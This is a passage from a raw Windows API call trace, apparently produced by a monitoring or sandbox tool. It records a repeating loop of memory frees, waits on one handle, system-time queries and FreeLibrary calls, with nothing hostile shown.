(_Block=0x20abc284e70) [0243.591] free (_Block=0x20abc27cb20) [0243.591] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4cf6c802, dwHighDateTime=0x1d9eb0c)) [0243.600] free (_Block=0x20abc281bc0) [0243.600] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.601] free (_Block=0x20abc284e70) [0243.603] free (_Block=0x20abc27cb20) [0243.603] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d0adb35, dwHighDateTime=0x1d9eb0c)) [0243.733] free (_Block=0x20abc281d20) [0243.733] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.733] free (_Block=0x20abc284e70) [0243.734] free (_Block=0x20abc27cb20) [0243.735] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d0d1ed7, dwHighDateTime=0x1d9eb0c)) [0243.748] free (_Block=0x20abc281b20) [0243.748] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.752] free (_Block=0x20abc284e70) [0243.806] free (_Block=0x20abc27cb20) [0243.807] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d1dd31e, dwHighDateTime=0x1d9eb0c)) [0243.865] free (_Block=0x20abc281fc0) [0243.865] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.866] free (_Block=0x20abc284e70) [0243.866] free (_Block=0x20abc27cb20) [0243.867] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0243.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d2034b1, dwHighDateTime=0x1d9eb0c)) [0243.881] free (_Block=0x20abc281b20) [0243.881] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0243.882] free (_Block=0x20abc284e70) [0243.883] free (_Block=0x20abc27cb20) [0243.883] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d380bc3, dwHighDateTime=0x1d9eb0c)) [0244.038] free (_Block=0x20abc281ce0) [0244.038] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.039] free (_Block=0x20abc284e70) [0244.039] free (_Block=0x20abc27cf80) [0244.040] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d3a7894, dwHighDateTime=0x1d9eb0c)) [0244.047] free (_Block=0x20abc281ac0) [0244.047] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.048] free (_Block=0x20abc284e70) [0244.049] free (_Block=0x20abc27cb20) [0244.049] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d3cd3dc, dwHighDateTime=0x1d9eb0c)) [0244.060] free (_Block=0x20abc281b60) [0244.060] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.061] free (_Block=0x20abc284e70) [0244.062] free (_Block=0x20abc27cf80) [0244.062] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d3f32ca, dwHighDateTime=0x1d9eb0c)) [0244.075] free (_Block=0x20abc281c20) [0244.076] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.076] free (_Block=0x20abc284e70) [0244.078] free (_Block=0x20abc27cb20) [0244.078] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d54a814, dwHighDateTime=0x1d9eb0c)) [0244.219] free (_Block=0x20abc281b20) [0244.219] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.220] free (_Block=0x20abc284e70) [0244.221] free (_Block=0x20abc27cb20) [0244.221] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d570d57, dwHighDateTime=0x1d9eb0c)) [0244.235] free (_Block=0x20abc281ea0) [0244.235] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.236] free (_Block=0x20abc284e70) [0244.238] free (_Block=0x20abc27cf80) [0244.238] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d5e35f8, dwHighDateTime=0x1d9eb0c)) [0244.281] free (_Block=0x20abc281bc0) [0244.281] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.283] free (_Block=0x20abc284e70) [0244.283] free (_Block=0x20abc27cf80) [0244.284] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d62f629, dwHighDateTime=0x1d9eb0c)) [0244.311] free (_Block=0x20abc281fe0) [0244.311] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.312] free (_Block=0x20abc284e70) [0244.313] free (_Block=0x20abc27cf80) [0244.313] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d7f92ab, dwHighDateTime=0x1d9eb0c)) [0244.498] free (_Block=0x20abc281b40) [0244.498] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.499] free (_Block=0x20abc284e70) [0244.500] free (_Block=0x20abc27cf80) [0244.500] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d81f6c8, dwHighDateTime=0x1d9eb0c)) [0244.517] free (_Block=0x20abc2820e0) [0244.517] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.518] free (_Block=0x20abc284e70) [0244.519] free (_Block=0x20abc27cf80) [0244.519] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4d8b8105, dwHighDateTime=0x1d9eb0c)) [0244.585] free (_Block=0x20abc281fc0) [0244.585] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.586] free (_Block=0x20abc284e70) [0244.590] free (_Block=0x20abc27cf80) [0244.591] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4da0f4bc, dwHighDateTime=0x1d9eb0c)) [0244.715] free (_Block=0x20abc2819a0) [0244.715] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.716] free (_Block=0x20abc284e70) [0244.718] free (_Block=0x20abc27cf80) [0244.718] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4da0f4bc, dwHighDateTime=0x1d9eb0c)) [0244.727] free (_Block=0x20abc281b80) [0244.727] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.728] free (_Block=0x20abc284e70) [0244.732] free (_Block=0x20abc27cf80) [0244.732] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4da35667, dwHighDateTime=0x1d9eb0c)) [0244.740] free (_Block=0x20abc281d20) [0244.740] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.741] free (_Block=0x20abc284e70) [0244.742] free (_Block=0x20abc27cf80) [0244.742] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4da5b8ec, dwHighDateTime=0x1d9eb0c)) [0244.761] free (_Block=0x20abc282060) [0244.762] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.762] free (_Block=0x20abc284e70) [0244.763] free (_Block=0x20abc27cf80) [0244.763] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4dbff2a5, dwHighDateTime=0x1d9eb0c)) [0244.920] free (_Block=0x20abc281b80) [0244.921] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.921] free (_Block=0x20abc284e70) [0244.922] free (_Block=0x20abc27cf80) [0244.922] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4dc25873, dwHighDateTime=0x1d9eb0c)) [0244.934] free (_Block=0x20abc281e00) [0244.935] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.936] free (_Block=0x20abc284e70) [0244.937] free (_Block=0x20abc27cf80) [0244.937] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0244.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4dc25873, dwHighDateTime=0x1d9eb0c)) [0244.956] free (_Block=0x20abc281d20) [0244.957] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0244.957] free (_Block=0x20abc284e70) [0244.958] free (_Block=0x20abc27cf80) [0244.958] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0245.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e0eaac3, dwHighDateTime=0x1d9eb0c)) [0245.433] free (_Block=0x20abc281f60) [0245.433] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0245.434] free (_Block=0x20abc284e70) [0245.435] free (_Block=0x20abc2a8820) [0245.436] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0245.436] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0245.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e26786f, dwHighDateTime=0x1d9eb0c)) [0245.590] free (_Block=0x20abc281e00) [0245.591] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0245.591] free (_Block=0x20abc284e70) [0245.592] free (_Block=0x20abc27cb20) [0245.592] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0245.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e26786f, dwHighDateTime=0x1d9eb0c)) [0245.600] free (_Block=0x20abc281ea0) [0245.600] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0245.601] free (_Block=0x20abc284e70) [0245.603] free (_Block=0x20abc27cf80) [0245.603] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0245.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e28db71, dwHighDateTime=0x1d9eb0c)) [0245.610] free (_Block=0x20abc281e00) [0245.610] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0245.610] free (_Block=0x20abc284e70) [0245.611] free (_Block=0x20abc27cb20) [0245.611] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0245.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e4a3b4b, dwHighDateTime=0x1d9eb0c)) [0245.824] free (_Block=0x20abc281a00) [0245.824] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0245.825] free (_Block=0x20abc284e70) [0245.826] free (_Block=0x20abc27cb20) [0245.826] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0245.840] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e4c9e27, dwHighDateTime=0x1d9eb0c)) [0245.841] free (_Block=0x20abc281e40) [0245.841] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0245.842] free (_Block=0x20abc284e70) [0245.844] free (_Block=0x20abc27cf80) [0245.844] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0245.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e4c9e27, dwHighDateTime=0x1d9eb0c)) [0245.853] free (_Block=0x20abc281f60) [0245.854] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0245.854] free (_Block=0x20abc284e70) [0245.855] free (_Block=0x20abc27cf80) [0245.856] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0245.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e621222, dwHighDateTime=0x1d9eb0c)) [0245.980] free (_Block=0x20abc282080) [0245.980] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0245.981] free (_Block=0x20abc284e70) [0245.982] free (_Block=0x20abc27cf80) [0245.982] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0245.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e621222, dwHighDateTime=0x1d9eb0c)) [0245.991] free (_Block=0x20abc281f80) [0245.991] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0245.993] free (_Block=0x20abc284e70) [0245.994] free (_Block=0x20abc27cf80) [0245.994] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e64860a, dwHighDateTime=0x1d9eb0c)) [0246.003] free (_Block=0x20abc281c20) [0246.004] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.004] free (_Block=0x20abc284e70) [0246.005] free (_Block=0x20abc27cf80) [0246.005] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e66dd25, dwHighDateTime=0x1d9eb0c)) [0246.014] free (_Block=0x20abc281c20) [0246.015] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.015] free (_Block=0x20abc284e70) [0246.016] free (_Block=0x20abc27cf80) [0246.016] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.152] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e7c50e2, dwHighDateTime=0x1d9eb0c)) [0246.153] free (_Block=0x20abc281fa0) [0246.154] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.154] free (_Block=0x20abc284e70) [0246.155] free (_Block=0x20abc2a8190) [0246.155] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e7eaf3f, dwHighDateTime=0x1d9eb0c)) [0246.172] free (_Block=0x20abc281a80) [0246.172] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.173] free (_Block=0x20abc284e70) [0246.174] free (_Block=0x20abc27cf80) [0246.174] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e8114ac, dwHighDateTime=0x1d9eb0c)) [0246.191] free (_Block=0x20abc2820e0) [0246.192] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.193] free (_Block=0x20abc284e70) [0246.194] free (_Block=0x20abc27cf80) [0246.195] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e91c32f, dwHighDateTime=0x1d9eb0c)) [0246.294] free (_Block=0x20abc2819a0) [0246.294] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.295] free (_Block=0x20abc284e70) [0246.296] free (_Block=0x20abc27cb20) [0246.296] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e91c32f, dwHighDateTime=0x1d9eb0c)) [0246.305] free (_Block=0x20abc281a00) [0246.305] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.306] free (_Block=0x20abc284e70) [0246.306] free (_Block=0x20abc27cb20) [0246.307] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e942561, dwHighDateTime=0x1d9eb0c)) [0246.321] free (_Block=0x20abc281fc0) [0246.322] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.322] free (_Block=0x20abc284e70) [0246.323] free (_Block=0x20abc27cb20) [0246.323] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4e96869e, dwHighDateTime=0x1d9eb0c)) [0246.332] free (_Block=0x20abc281fe0) [0246.332] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.333] free (_Block=0x20abc284e70) [0246.333] free (_Block=0x20abc27cb20) [0246.334] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4eb324a4, dwHighDateTime=0x1d9eb0c)) [0246.509] free (_Block=0x20abc281d40) [0246.509] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.510] free (_Block=0x20abc284e70) [0246.511] free (_Block=0x20abc27cb20) [0246.511] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4eb324a4, dwHighDateTime=0x1d9eb0c)) [0246.519] free (_Block=0x20abc281ea0) [0246.520] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.520] free (_Block=0x20abc284e70) [0246.521] free (_Block=0x20abc27cb20) [0246.521] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4eb5859a, dwHighDateTime=0x1d9eb0c)) [0246.531] free (_Block=0x20abc282000) [0246.532] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.532] free (_Block=0x20abc284e70) [0246.533] free (_Block=0x20abc27cb20) [0246.533] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ec89fd5, dwHighDateTime=0x1d9eb0c)) [0246.655] free (_Block=0x20abc281b60) [0246.655] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.656] free (_Block=0x20abc284e70) [0246.658] free (_Block=0x20abc27cb20) [0246.658] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ecafbf0, dwHighDateTime=0x1d9eb0c)) [0246.672] free (_Block=0x20abc282040) [0246.673] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.673] free (_Block=0x20abc284e70) [0246.675] free (_Block=0x20abc27cb20) [0246.675] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ecd8182, dwHighDateTime=0x1d9eb0c)) [0246.693] free (_Block=0x20abc2820c0) [0246.694] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.694] free (_Block=0x20abc284e70) [0246.696] free (_Block=0x20abc27cb20) [0246.696] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ee9f8c6, dwHighDateTime=0x1d9eb0c)) [0246.870] free (_Block=0x20abc281bc0) [0246.870] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.871] free (_Block=0x20abc284e70) [0246.872] free (_Block=0x20abc27cf80) [0246.873] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4ee9f8c6, dwHighDateTime=0x1d9eb0c)) [0246.882] free (_Block=0x20abc281b40) [0246.882] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.883] free (_Block=0x20abc284e70) [0246.886] free (_Block=0x20abc27cb20) [0246.887] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.894] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4eec64bd, dwHighDateTime=0x1d9eb0c)) [0246.895] free (_Block=0x20abc281b60) [0246.896] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.896] free (_Block=0x20abc284e70) [0246.898] free (_Block=0x20abc27cb20) [0246.898] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0246.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4eeebe7e, dwHighDateTime=0x1d9eb0c)) [0246.914] free (_Block=0x20abc281e00) [0246.914] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0246.915] free (_Block=0x20abc284e70) [0246.916] free (_Block=0x20abc27cf80) [0246.917] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f0432f9, dwHighDateTime=0x1d9eb0c)) [0247.053] free (_Block=0x20abc281fc0) [0247.054] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.054] free (_Block=0x20abc284e70) [0247.055] free (_Block=0x20abc27cb20) [0247.056] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.063] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f069547, dwHighDateTime=0x1d9eb0c)) [0247.064] free (_Block=0x20abc281fa0) [0247.064] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0247.065] free (_Block=0x20abc284e70) [0247.066] free (_Block=0x20abc27cb20) [0247.066] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0247.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4f08f840, dwHighDateTime=0x1d9eb0c)) [0247.074] free (_Block=0x20abc281f60) 